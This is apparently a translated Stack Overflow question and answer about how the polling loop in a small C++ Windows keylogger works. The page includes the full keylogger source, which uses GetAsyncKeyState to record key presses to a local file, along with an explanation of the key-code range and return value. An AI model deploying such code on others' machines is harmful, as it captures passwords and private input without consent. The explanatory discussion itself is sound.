c++ - 这个 'for' 循环与键盘记录器有什么关系?

我正在读一本关于编写键盘记录器的书,只是为了好玩;我遇到了这个“for”循环,但我对它的相关性感到困惑。

#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>

using namespace std;

void log();

int main()
{
    log();
    return 0;
}

void log()
{
    char c;

    for(;;)
    {
        for(c=8;c<=222;c++) // <<=== THIS LOOP HERE
        {
            if(GetAsyncKeyState(c) == -32767)
            {
                ofstream write("C:\\Users\\IEUser\\Desktop\\text.txt",ios::app);
                write<<c;
            }
        }
    }
}

根据我的理解,这意味着 C++ 将设置 c=8,并执行循环,递增直到达到 222,然后停止(但由于父循环,它会再次继续)。书上提到数字8和222表示ASCII码。

但我看不出它如何链接到获取我的输入!输入不是已经从 GetAsyncKeyState 派生出来了吗?

最佳答案

for(;;) 

无限循环一直在运行(监听)

for(c=8;c<=222;c++)

包含从 8 到 222 的运行值 [8,222]

GetAsyncKeyState(c) == -32767)

Determines whether a key is up or down at the time the function is called

所以现在您正在针对由 c 表示的 ASCI 进行测试。现在魔数(Magic Number) -32767 是什么意思?

如果我们以二进制形式写入 -32767,它会解析为 1000 0000 0000 0001。如您所见,最高有效位和最低有效位均已设置,因此根据描述,键已按下并且已被按下自上次调用 GetAsyncKeyState 以来一直在下降。

关于c++ - 这个 'for' 循环与键盘记录器有什么关系?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/70605685/

相关文章:

python - 如何阻止 Selenium 在执行期间关闭驱动程序?

r - 如何通过合并 csv 文件创建数据框,然后基于它创建 Shiny 的应用程序?

kotlin - 为什么 Kotlin 不提示歧义?为什么要调用辅助构造函数?

r - 如何将多列连接成一列并删除重复项?

c - 如何跟踪全局变量重新定义问题的链接器问题

c++ - std::unordered_map 如何确定哈希表中特定键的位置?

r - 有没有一种方法可以将列添加到函数形式的数据框中

c++ - 自动占位符类型和显式模板类型在 C++20 中是否等效?

websocket - 将 Nextjs 部署到 Vercel 的 SocketIO,套接字未连接

python - 小列表的长排列